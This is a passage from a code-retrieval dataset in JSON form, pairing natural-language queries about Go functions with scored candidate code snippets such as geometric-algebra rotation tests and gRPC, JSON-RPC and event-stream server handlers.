A)\n\t// t.Logf(\"AI: %s\", A.Inverse())\n\t// t.Logf(\"A.Angle(B): %v\", A.Angle(B))\n\t// R := B.Mul(A.Inverse())\n\n\t// RN := B.Mul(B).Mul(A.Mul(A).Inverse()).Norm()\n\t// R[0].s /= RN\n\t// R[1].s /= RN\n\n\t// R := Multivector{\n\t// Blade{s: math.Cos(angle / 2)},\n\t// Blade{bitmap: I.bitmap, s: -math.Sin(angle / 2)},\n\t// }\n\n\tR := Rotor(angle, I2.Basis)\n\n\tt.Logf(\" R: %s\", R)\n\tt.Logf(\" |R|: %v\", R.NormSq())\n\tt.Logf(\" R~: %s\", R.Rev())\n\tt.Logf(\" Ri: %s\", R.Inverse())\n\tt.Logf(\" RR~: %s\", R.Mul(R.Rev()))\n\tres := R.Mul(a).Mul(R.Rev())\n\tt.Logf(\" a: %s\", a)\n\tt.Logf(\" Ra: %s\", R.Mul(a))\n\tt.Logf(\"RaR~: %s\", res)\n\tt.Log(\"---\")\n\n\treturn res\n}", "title": "" }, { "docid": "32ffaf6ada96600cef903e4bc5660cde", "score": "0.40056488", "text": "func rotate(a Multivector, angle float64, t *testing.T) Multivector {\n\t// e1 := Blade{bitmap: 1, s: 1}\n\t// e2 := Blade{bitmap: 1 << 1, s: 1}\n\t// I := e1.Op(e2)\n\t// _ = I\n\n\t// A := Multivector{e1}\n\t// B := Multivector{e1, e2}\n\n\t// A := Multivector{Blade{e1.bitmap, 1}, Blade{e2.bitmap, 0}}\n\t// B := Multivector{Blade{e1.bitmap, 0}, Blade{e2.bitmap, 1}}\n\t// t.Logf(\" A: %s\", A)\n\t// t.Logf(\"AI: %s\", A.Inverse())\n\t// t.Logf(\"A.Angle(B): %v\", A.Angle(B))\n\t// R := B.Mul(A.Inverse())\n\n\t// RN := B.Mul(B).Mul(A.Mul(A).Inverse()).Norm()\n\t// R[0].s /= RN\n\t// R[1].s /= RN\n\n\t// R := Multivector{\n\t// Blade{s: math.Cos(angle / 2)},\n\t// Blade{bitmap: I.bitmap, s: -math.Sin(angle / 2)},\n\t// }\n\n\tR := Rotor(angle, I2.Basis)\n\n\tt.Logf(\" R: %s\", R)\n\tt.Logf(\" |R|: %v\", R.NormSq())\n\tt.Logf(\" R~: %s\", R.Rev())\n\tt.Logf(\" Ri: %s\", R.Inverse())\n\tt.Logf(\" RR~: %s\", R.Mul(R.Rev()))\n\tres := R.Mul(a).Mul(R.Rev())\n\tt.Logf(\" a: %s\", a)\n\tt.Logf(\" Ra: %s\", R.Mul(a))\n\tt.Logf(\"RaR~: %s\", res)\n\tt.Log(\"---\")\n\n\treturn res\n}", "title": "" }, { "docid": "a861e8e43ed1f9f21cacd0fc4975a759", "score": "0.40013677", "text": "func goid() int64 {\n\treturn 0\n}", "title": "" }, { "docid": "e8142bd6228a3f915ee175ad3690a051", "score": "0.39990708", "text": "func (g *OWImg) isBelow() bool {\n\n if !g.gotimg || !(g.gotfrom || g.gotat) {\n return false\n }\n\n if g.pix.R<g.th && g.pix.G<g.th && g.pix.B<g.th {\n return true\n }\n return false\n}", "title": "" }, { "docid": "f56f973658da84f3dd8fa6086cf9aaa0", "score": "0.39977318", "text": "func angleMaskGen(angles []float64, line []Coord) (map[Coord][]float64, map[float64]uint8, []Coord) {\n\tanglesOf := make(map[Coord][]float64)\n\tangleCounts := make(map[float64]uint8)\n\tneighborSet := make(map[Coord]bool)\n \n\tfor _, a := range angles {\n\t\tfor _, p := range line {\n\t\t\trp := rotate(p, a)\n\t\t\tneighborSet[rp] = true\n\t\t\tif _, inside := anglesOf[rp]; !inside {\n\t\t\t\tanglesOf[rp] = []float64{a}\n\t\t\t\tangleCounts[a]++\n\t\t\t} else if notInSlice(anglesOf[rp], a) {\n\t\t\t\tanglesOf[rp] = append(anglesOf[rp], a)\n\t\t\t\tangleCounts[a]++\n\t\t\t}\n\t\t}\n\t}\n\n\tneighborSlice := make([]Coord, 0, len(line)*len(angles))\n\tfor n, _ := range neighborSet {\n\t\tneighborSlice = append(neighborSlice, n)\n\t}\n\treturn anglesOf, angleCounts, neighborSlice\n}", "title": "" }, { "docid": "93da8ee3cf54e259cf4512f75ef646ce", "score": "0.39971706", "text": "func rotatePoint(p map[rune]int, rot rune, angle int) map[rune]int {\n\tnextSide := map[rune]rune{'N': 'E', 'E': 'S', 'S': 'W', 'W': 'N'}\n\tprevSide := map[rune]rune{'N': 'W', 'E': 'N', 'S': 'E', 'W': 'S'}\n\tfor i := 0; i < angle/90; i++ {\n\t\tnewPoint := make(map[rune]int, 4)\n\t\tfor k, v := range p {\n\t\t\tif rot == 'R' {\n\t\t\t\tnewPoint[nextSide[k]] = v\n\t\t\t} else {\n\t\t\t\tnewPoint[prevSide[k]] = v\n\t\t\t}\n\t\t}\n\t\tp = newPoint\n\t}\n\treturn p\n}", "title": "" } ]
852badc4461ccba0f8ae0013bccd07b9
Stream is a server side stream handler called via client.Stream or the generated client code
[ { "docid": "5f86a5e6048d390303f8860d195e740f", "score": "0.6645987", "text": "func (e *Template) Stream(ctx context.Context, req *template.StreamingRequest, stream template.Template_StreamStream) error {\n\tlogutil.BgLogger().Info(\"Received Template.Stream request with count: %d\", zap.Int64(\"req.Count\", req.Count))\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlogutil.BgLogger().Info(\"Responding: %d\", zap.Int(\"i\", i))\n\t\tif err := stream.Send(&template.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" } ]
[ { "docid": "f3339d779545a9986074641311b4ee2c", "score": "0.72328985", "text": "func (s *GrpcServer) Stream(stream pbx.Unitd_StreamServer) error {\n\tconn := StreamConn(stream)\n\tdefer conn.Close()\n\n\tgo s.Handler(conn, GRPC)\n\t<-stream.Context().Done()\n\treturn nil\n}", "title": "" }, { "docid": "60653cb4b3c7ec792edf031a320a4de7", "score": "0.7211065", "text": "func (s *TestServer) ServerStream(req *Message, ss TestService_ServerStreamServer) error {\n\tif req.DelayMillis > 0 {\n\t\ttime.Sleep(time.Millisecond * time.Duration(req.DelayMillis))\n\t}\n\tmd, _ := metadata.FromIncomingContext(ss.Context())\n\tif err := ss.SetHeader(MetadataNew(req.Headers)); err != nil {\n\t\treturn err\n\t}\n\tfor i := 0; i < int(req.Count); i++ {\n\t\terr := ss.Send(&Message{\n\t\t\tHeaders: asMap(md),\n\t\t\tPayload: req.Payload,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tss.SetTrailer(MetadataNew(req.Trailers))\n\tif req.Code != 0 {\n\t\treturn statusFromRequest(req)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "fe75613a7bf61ac3fe8adfbae651f83e", "score": "0.7203023", "text": "func (s *StreamServer) ServeStream(ctx context.Context, stream jsonrpc2.Stream) error {\n\tindex := atomic.AddInt64(&clientIndex, 1)\n\n\tconn := jsonrpc2.NewConn(stream)\n\tclient := protocol.ClientDispatcher(conn)\n\tdc := &debugClient{\n\t\tdebugInstance: debugInstance{\n\t\t\tid: strconv.FormatInt(index, 10),\n\t\t},\n\t\t// MODIFIED: SYSL_LSP\n\t\t//session: session,\n\t}\n\tif di := debug.GetInstance(ctx); di != nil {\n\t\tdi.State.AddClient(dc)\n\t\tdefer di.State.DropClient(dc)\n\t}\n\tserver := s.serverForTest\n\tif server == nil {\n\t\t// MODIFIED: SYSL_LSP\n\t\t//server = lsp.NewServer(session, client)\n\t\tserver = lspimpl.NewServer(client)\n\t}\n\t// Clients may or may not send a shutdown message. Make sure the server is\n\t// shut down.\n\t// TODO(rFindley): this shutdown should perhaps be on a disconnected context.\n\tdefer server.Shutdown(ctx)\n\tconn.AddHandler(protocol.ServerHandler(server))\n\tconn.AddHandler(protocol.Canceller{})\n\tif s.withTelemetry {\n\t\tconn.AddHandler(telemetryHandler{})\n\t}\n\texecutable, err := os.Executable()\n\tif err != nil {\n\t\tstdlog.Printf(\"error getting gopls path: %v\", err)\n\t\texecutable = \"\"\n\t}\n\tconn.AddHandler(&handshaker{\n\t\tclient: dc,\n\t\tgoplsPath: executable,\n\t})\n\treturn conn.Run(protocol.WithClient(ctx, client))\n}", "title": "" }, { "docid": "283d6b2d534eba8e88e6a3edd3d7f3ff", "score": "0.71960133", "text": "func (e *MainService) Stream(ctx context.Context, req *mainService.StreamingRequest, stream mainService.MainService_StreamStream) error {\n\tlog.Infof(\"Received MainService.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&mainService.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "3a2905c492e96a5ecf07eefe6d36f138", "score": "0.7175016", "text": "func (e *Idiomatic) Stream(ctx context.Context, req *idiomatic.StreamingRequest, stream idiomatic.Idiomatic_StreamStream) error {\n\tlog.Infof(\"Received Idiomatic.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&idiomatic.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "00f6e863a5791698db1841c02d976a83", "score": "0.7120455", "text": "func (f *FFproxy) Stream(stream pb.FFProxy_StreamServer) error {\n\n\t// receive first proto from stream\n\treq, err := stream.Recv()\n\tif err != nil {\n\t\tlog.Printf(\"failed to receive handshake for new client: %s\", err)\n\t\treturn err\n\t}\n\n\t// type switch on received message. we expect this to be a InitRequest message. if it is not return error\n\tswitch m := req.Clientmsg.(type) {\n\tcase *pb.ClientServer_Initreq:\n\t\t// create UUID string to be used for hostname\n\t\thostname := uuid.New().String()\n\n\t\t// create ServerClient_InitResp to tell client it's hostname\n\t\tinitResp := &pb.ServerClient{\n\t\t\tServermsg: &pb.ServerClient_Initresp{\n\t\t\t\tInitresp: &pb.InitResponse{\n\t\t\t\t\tHostname: hostname,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\t// create our stream abstraction. all subsequent sending and receiving on the grpc stream will be done by our self managing abstraction\n\t\tst := NewStream(stream, cancelFunc(f))\n\n\t\t// register stream abstraction with server\n\t\tf.sl.Lock()\n\t\tf.streamMap[hostname] = st\n\t\tf.sl.Unlock()\n\n\t\t// return initResp to client, any subsequent receives are handled by self managing stream abstraction\n\t\terr := stream.Send(initResp)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to send init response to client: %s\", err)\n\t\t\t// TODO: should we remove stream from map?\n\t\t\treturn fmt.Errorf(\"failed to send init response to client: %s\", err)\n\t\t}\n\n\t\treturn nil\n\tdefault:\n\t\te := fmt.Sprintf(\"expected message type ClientServer_Initreq but got %T\", m)\n\t\tlog.Printf(e)\n\t\treturn fmt.Errorf(e)\n\t}\n}", "title": "" }, { "docid": "78a946a1574201b8ae7ab040b5546ab7", "score": "0.70493007", "text": "func (f *Forwarder) ServeStream(ctx context.Context, clientConn jsonrpc2.Conn) error {\n\tclient := protocol.ClientDispatcher(clientConn)\n\n\tnetConn, err := f.dialer.dialNet(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"forwarder: connecting to remote: %w\", err)\n\t}\n\tserverConn := jsonrpc2.NewConn(jsonrpc2.NewHeaderStream(netConn))\n\tserver := protocol.ServerDispatcher(serverConn)\n\n\t// Forward between connections.\n\tserverConn.Go(ctx,\n\t\tprotocol.Handlers(\n\t\t\tprotocol.ClientHandler(client,\n\t\t\t\tjsonrpc2.MethodNotFound)))\n\n\t// Don't run the clientConn yet, so that we can complete the handshake before\n\t// processing any client messages.\n\n\t// Do a handshake with the server instance to exchange debug information.\n\tindex := atomic.AddInt64(&serverIndex, 1)\n\tf.mu.Lock()\n\tf.serverConn = serverConn\n\tf.serverID = strconv.FormatInt(index, 10)\n\tf.mu.Unlock()\n\tf.handshake(ctx)\n\tclientConn.Go(ctx,\n\t\tprotocol.Handlers(\n\t\t\tf.handler(\n\t\t\t\tprotocol.ServerHandler(server,\n\t\t\t\t\tjsonrpc2.MethodNotFound))))\n\n\tselect {\n\tcase <-serverConn.Done():\n\t\tclientConn.Close()\n\tcase <-clientConn.Done():\n\t\tserverConn.Close()\n\t}\n\n\terr = nil\n\tif serverConn.Err() != nil {\n\t\terr = fmt.Errorf(\"remote disconnected: %v\", serverConn.Err())\n\t} else if clientConn.Err() != nil {\n\t\terr = fmt.Errorf(\"client disconnected: %v\", clientConn.Err())\n\t}\n\tevent.Log(ctx, fmt.Sprintf(\"forwarder: exited with error: %v\", err))\n\treturn err\n}", "title": "" }, { "docid": "c8e021701ef8c469e28cadfc0c355a9d", "score": "0.7030899", "text": "func (c *RPCClient) Stream(filter string, ch chan<- map[string]interface{}) (StreamHandle, error) {\n\t// Setup the request\n\tseq := c.getSeq()\n\theader := requestHeader{\n\t\tCommand: streamCommand,\n\t\tSeq: seq,\n\t}\n\treq := streamRequest{\n\t\tType: filter,\n\t}\n\n\t// Create a monitor handler\n\tinitCh := make(chan error, 1)\n\thandler := &streamHandler{\n\t\tclient: c,\n\t\tinitCh: initCh,\n\t\teventCh: ch,\n\t\tseq: seq,\n\t}\n\tc.handleSeq(seq, handler)\n\n\t// Send the request\n\tif err := c.send(&header, &req); err != nil {\n\t\tc.deregisterHandler(seq)\n\t\treturn 0, err\n\t}\n\n\t// Wait for a response\n\tselect {\n\tcase err := <-initCh:\n\t\treturn StreamHandle(seq), err\n\tcase <-c.shutdownCh:\n\t\tc.deregisterHandler(seq)\n\t\treturn 0, clientClosed\n\t}\n}", "title": "" }, { "docid": "66b88b20fe869208f03e02aac0a936f1", "score": "0.69821405", "text": "func (s *server) Stream(stream Stream, typeURL string) error {\n\t// a channel for receiving incoming requests\n\treqCh := make(chan *v2.DiscoveryRequest)\n\treqStop := int32(0)\n\tgo func() {\n\t\tfor {\n\t\t\treq, err := stream.Recv()\n\t\t\tif atomic.LoadInt32(&reqStop) != 0 {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tclose(reqCh)\n\t\t\t\treturn\n\t\t\t}\n\t\t\treqCh <- req\n\t\t}\n\t}()\n\n\terr := s.process(stream, reqCh, typeURL)\n\n\t// prevents writing to a closed channel if send failed on blocked recv\n\t// TODO(kuat) figure out how to unblock recv through gRPC API\n\tatomic.StoreInt32(&reqStop, 1)\n\n\treturn err\n}", "title": "" }, { "docid": "9c28b4d3dd52542f1179caac4fe47470", "score": "0.6942572", "text": "func (s *StreamServer) ServeStream(ctx context.Context, conn jsonrpc2.Conn) error {\n\tclient := protocol.ClientDispatcher(conn)\n\tsession := cache.NewSession(ctx, s.cache, s.optionsOverrides)\n\tserver := s.serverForTest\n\tif server == nil {\n\t\tserver = lsp.NewServer(session, client)\n\t\tif instance := debug.GetInstance(ctx); instance != nil {\n\t\t\tinstance.AddService(server, session)\n\t\t}\n\t}\n\t// Clients may or may not send a shutdown message. Make sure the server is\n\t// shut down.\n\t// TODO(rFindley): this shutdown should perhaps be on a disconnected context.\n\tdefer func() {\n\t\tif err := server.Shutdown(ctx); err != nil {\n\t\t\tevent.Error(ctx, \"error shutting down\", err)\n\t\t}\n\t}()\n\texecutable, err := os.Executable()\n\tif err != nil {\n\t\tlog.Printf(\"error getting gopls path: %v\", err)\n\t\texecutable = \"\"\n\t}\n\tctx = protocol.WithClient(ctx, client)\n\tconn.Go(ctx,\n\t\tprotocol.Handlers(\n\t\t\thandshaker(session, executable, s.daemon,\n\t\t\t\tprotocol.ServerHandler(server,\n\t\t\t\t\tjsonrpc2.MethodNotFound))))\n\tif s.daemon {\n\t\tlog.Printf(\"Session %s: connected\", session.ID())\n\t\tdefer log.Printf(\"Session %s: exited\", session.ID())\n\t}\n\t<-conn.Done()\n\treturn conn.Err()\n}", "title": "" }, { "docid": "73980c8c22979bd16a4ab18903e0275a", "score": "0.6941784", "text": "func (e *Example) Stream(ctx context.Context, req *example.StreamingRequest, stream example.Example_StreamStream) error {\n\tlog.Logf(\"Received Example.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Logf(\"Responding: %d\", i)\n\t\tif err := stream.Send(&example.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "73980c8c22979bd16a4ab18903e0275a", "score": "0.6941784", "text": "func (e *Example) Stream(ctx context.Context, req *example.StreamingRequest, stream example.Example_StreamStream) error {\n\tlog.Logf(\"Received Example.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Logf(\"Responding: %d\", i)\n\t\tif err := stream.Send(&example.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "73980c8c22979bd16a4ab18903e0275a", "score": "0.6941784", "text": "func (e *Example) Stream(ctx context.Context, req *example.StreamingRequest, stream example.Example_StreamStream) error {\n\tlog.Logf(\"Received Example.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Logf(\"Responding: %d\", i)\n\t\tif err := stream.Send(&example.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "73980c8c22979bd16a4ab18903e0275a", "score": "0.6941784", "text": "func (e *Example) Stream(ctx context.Context, req *example.StreamingRequest, stream example.Example_StreamStream) error {\n\tlog.Logf(\"Received Example.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Logf(\"Responding: %d\", i)\n\t\tif err := stream.Send(&example.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "73980c8c22979bd16a4ab18903e0275a", "score": "0.6941784", "text": "func (e *Example) Stream(ctx context.Context, req *example.StreamingRequest, stream example.Example_StreamStream) error {\n\tlog.Logf(\"Received Example.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Logf(\"Responding: %d\", i)\n\t\tif err := stream.Send(&example.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "db874e9f45d530ae69fb290ff31979bc", "score": "0.6929479", "text": "func (pt *ProtoTcp) StreamServer(ring *sr.StreamRing) error {\n\tlog.Printf(\"start %s on :%s\\n\", STR_TCP_SERVER, pt.Port)\n\tdefer log.Printf(\"end %s on :%s\\n\", STR_TCP_SERVER, pt.Port)\n\n\tvar err error\n\n\tl, err := net.Listen(\"tcp\", \":\"+pt.Port)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\tdefer l.Close()\n\n\tfor {\n\t\t// Listen for an incoming connection.\n\t\tconn, err := l.Accept()\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tcontinue\n\t\t}\n\n\t\tgo pt.HandleRequest(conn, ring)\n\t}\n}", "title": "" }, { "docid": "3445cbcb8c39ddc3ba2a16ebbb9e0142", "score": "0.69255936", "text": "func (e *ArticleSrv) Stream(ctx context.Context, req *pb.StreamingRequest, stream pb.ArticleSrv_StreamStream) error {\n\tlog.Logf(\"Received Article.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Logf(\"Responding: %d\", i)\n\t\tif err := stream.Send(&pb.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "8b166c94a3f0350570d248b88a21f743", "score": "0.68944025", "text": "func (c Client) Stream(method, path string, query url.Values, body io.Reader, accept []string) (data io.ReadCloser, contentType string, err error) {\n\treturn c.StreamContext(nil, method, path, query, body, accept)\n}", "title": "" }, { "docid": "106082b27013e80518ebd22831d42f20", "score": "0.68480253", "text": "func (t *HelloworldService) Stream(request *StreamRequest) (*StreamResponse, error) {\n\trsp := &StreamResponse{}\n\treturn rsp, t.client.Call(\"helloworld\", \"Stream\", request, rsp)\n}", "title": "" }, { "docid": "7856d786d916050dc396d3ab2d88f404", "score": "0.6833904", "text": "func (s *server) ServerStream(req *grpctest.Request, stream grpctest.GrpcTest_ServerStreamServer) error {\n\t// process request\n\ts.log.Debug(\"Request received\", req.ZapFields()...)\n\n\tticker := time.NewTicker(s.interval)\n\tctx := stream.Context()\n\n\tfor {\n\t\tselect {\n\t\tcase t := <-ticker.C:\n\t\t\t// send some dummy response\n\t\t\tid, err := ulid.New(ulid.Timestamp(t), rand.Reader)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tresp := &grpctest.Response{\n\t\t\t\tValue: id.String(),\n\t\t\t}\n\t\t\tif err := stream.Send(resp); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.log.Debug(\"Sent interval response\", resp.ZapFields()...)\n\t\tcase <-ctx.Done():\n\t\t\ts.log.Info(\"Context done, leaving\", zap.Error(ctx.Err()))\n\t\t\tticker.Stop()\n\t\t\treturn ctx.Err()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8252e8fe621b814ccc16858767f9e0e1", "score": "0.6773157", "text": "func (server *Server) ServerStream(_ *google_protobuf.Empty, stream rpc.GRPC_ServerStreamServer) error {\n\tlog.Debugf(\"received server stream command\")\n\tfor i := 0; i < 5; i++ {\n\t\terr := stream.Send(&rpc.Message{\n\t\t\tMessage: fmt.Sprintf(\"Sending stream back to client, iteration: %d\", i),\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttime.Sleep(2 * time.Second)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5918c213c07c786d44658f6076de4635", "score": "0.6753996", "text": "func (s *TestServer) ClientStream(cs TestService_ClientStreamServer) error {\n\tvar req *Message\n\tcount := int32(0)\n\tfor {\n\t\tr, err := cs.Recv()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq = r\n\t\tcount++\n\t\tif req.Code != 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tif req == nil {\n\t\treq = &Message{}\n\t}\n\tif req.DelayMillis > 0 {\n\t\ttime.Sleep(time.Millisecond * time.Duration(req.DelayMillis))\n\t}\n\tif err := cs.SetHeader(MetadataNew(req.Headers)); err != nil {\n\t\treturn err\n\t}\n\tcs.SetTrailer(MetadataNew(req.Trailers))\n\tif req.Code != 0 {\n\t\treturn statusFromRequest(req)\n\t}\n\tmd, _ := metadata.FromIncomingContext(cs.Context())\n\treturn cs.SendAndClose(&Message{\n\t\tHeaders: asMap(md),\n\t\tPayload: req.Payload,\n\t\tCount: count,\n\t})\n}", "title": "" }, { "docid": "beb225a5ca6b282980bf1b9de1dac280", "score": "0.6735722", "text": "func Stream(cli *cli.Context) gin.HandlerFunc {\n\tv := stream.New()\n\treturn func(c *gin.Context) {\n\t\tstream.ToContext(c, v)\n\t}\n}", "title": "" }, { "docid": "e81168c4d8f2ca67f1bfe56eb1023053", "score": "0.6706903", "text": "func (e *UserService) Stream(ctx context.Context, req *userService.StreamingRequest, stream userService.UserService_StreamStream) error {\n\tlog.Infof(\"Received UserService.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&userService.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "d9f5299db63ffcd7b0f56ac8cbf5f7b0", "score": "0.66893023", "text": "func (s *StreamOS) Stream(hs sumex.Streams) sumex.Streams {\n\ts.inport.Stream(hs).Stream(s.outport)\n\treturn hs\n}", "title": "" }, { "docid": "75dbaab6b4fb7c64b3e840ef65326522", "score": "0.6659948", "text": "func proxyStream(w http.ResponseWriter, r *http.Request, url *url.URL) {\n\t// TODO(random-liu): Set MaxBytesPerSec to throttle the stream.\n\thandler := proxy.NewUpgradeAwareHandler(url, nil /*transport*/, false /*wrapTransport*/, true /*upgradeRequired*/, &responder{})\n\thandler.ServeHTTP(w, r)\n}", "title": "" }, { "docid": "f9713e73b6f45af7351a5217c180254e", "score": "0.6616983", "text": "func (s *httpStreamer) stream() {\n\tdefer func() {\n\t\ts.errc <- 1\n\t}()\n\n\treader, err := s.open()\n\tif err != nil {\n\t\tlog.Printf(\"ERROR opening stream for %q: %v\", s.app.Name, err)\n\t\ts.resetStopChannel()\n\t\treturn\n\t}\n\tdefer reader.Close()\n\n\tlog.Printf(\"CONNECTED to %q stream\", s.app.Name)\n\ts.loop(reader)\n}", "title": "" }, { "docid": "851e1ce31a5dd1e8ca082a7807c140d3", "score": "0.66011524", "text": "func (interceptor *AuthInterceptor) Stream() grpc.StreamServerInterceptor {\n\treturn func(\n\t\tsrv interface{},\n\t\tstream grpc.ServerStream,\n\t\tinfo *grpc.StreamServerInfo,\n\t\thandler grpc.StreamHandler,\n\t) error {\n\t\tlog.Println(\"--> stream interceptor: \", info.FullMethod)\n\n\t\terr := interceptor.authorize(stream.Context(), info.FullMethod)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn handler(srv, stream)\n\t}\n}", "title": "" }, { "docid": "4f68d73198ee3a783edc08932f6d4c12", "score": "0.65998983", "text": "func (srv *EventsServer) Stream(req *ttnpb.StreamEventsRequest, stream ttnpb.Events_StreamServer) error {\n\tctx := stream.Context()\n\n\tif len(req.Identifiers) == 0 {\n\t\treturn nil\n\t}\n\n\tif err := srv.requireAnyRights(ctx, req.Identifiers); err != nil {\n\t\treturn err\n\t}\n\n\tch := make(events.Channel, 8)\n\thandler := events.ContextHandler(ctx, ch)\n\tsrv.filter.Subscribe(ctx, req, handler)\n\tdefer srv.filter.Unsubscribe(ctx, req, handler)\n\n\tif req.Tail > 0 || req.After != nil {\n\t\twarning.Add(ctx, \"Historical events not implemented\")\n\t}\n\n\tif err := stream.SendHeader(metadata.MD{}); err != nil {\n\t\treturn err\n\t}\n\n\tevtStreamStart := evtStreamStart(ctx, req, req)\n\tsrv.pubsub.Publish(evtStreamStart)\n\n\tevtStreamStartVisible, err := srv.isVisible(ctx, evtStreamStart)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !evtStreamStartVisible {\n\t\tevt, err := events.Proto(evtStreamStart)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := stream.Send(evt); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tdefer srv.pubsub.Publish(evtStreamStop(ctx, req, req))\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn ctx.Err()\n\t\tcase evt := <-ch:\n\t\t\tisVisible, err := srv.isVisible(ctx, evt)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif !isVisible {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmarshaled := evt.(marshaledEvent)\n\t\t\tif err := stream.Send(marshaled.proto); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ed7cc0908ed03df80ab15b986103b493", "score": "0.65973026", "text": "func (e *GetUserHouses) Stream(ctx context.Context, req *pb.StreamingRequest, stream pb.GetUserHouses_StreamStream) error {\n\tlog.Infof(\"Received GetUserHouses.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Infof(\"Responding: %d\", i)\n\t\tif err := stream.Send(&pb.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a3c69e54c5c6daf756272d3bdc936c2c", "score": "0.658333", "text": "func (c *createdClient) GetStream() rpcc.Stream { return c.Stream }", "title": "" }, { "docid": "e89a770501d8130b40b5b64da1c44b6f", "score": "0.65741974", "text": "func (c *Ctx) Stream(code int, contentType string, r io.Reader) (err error) {\n\tc.response.Header().Set(HeaderContentType, contentType)\n\tc.response.WriteHeader(code)\n\t_, err = io.Copy(c.response, r)\n\treturn\n}", "title": "" }, { "docid": "07178d43f09ec1579c47693f04792d61", "score": "0.65713763", "text": "func (e *GetArea) Stream(ctx context.Context, req *getArea.StreamingRequest, stream getArea.GetArea_StreamStream) error {\n\tlog.Logf(\"Received GetArea.Stream request with count: %d\", req.Count)\n\n\tfor i := 0; i < int(req.Count); i++ {\n\t\tlog.Logf(\"Responding: %d\", i)\n\t\tif err := stream.Send(&getArea.StreamingResponse{\n\t\t\tCount: int64(i),\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "f0d2ac687552d8aa302f4bc777382eab", "score": "0.65334725", "text": "func Stream(w http.ResponseWriter, v interface{}) error {\n\tif err := Encode(w, v); err != nil {\n\t\treturn err\n\t}\n\n\tif f, ok := w.(http.Flusher); ok {\n\t\tf.Flush()\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "41c3adcaad0db1cf63db3fc3ce25c69b", "score": "0.64747506", "text": "func (s *Server) openStream(tkn string) (stream chan erutan.Packet) 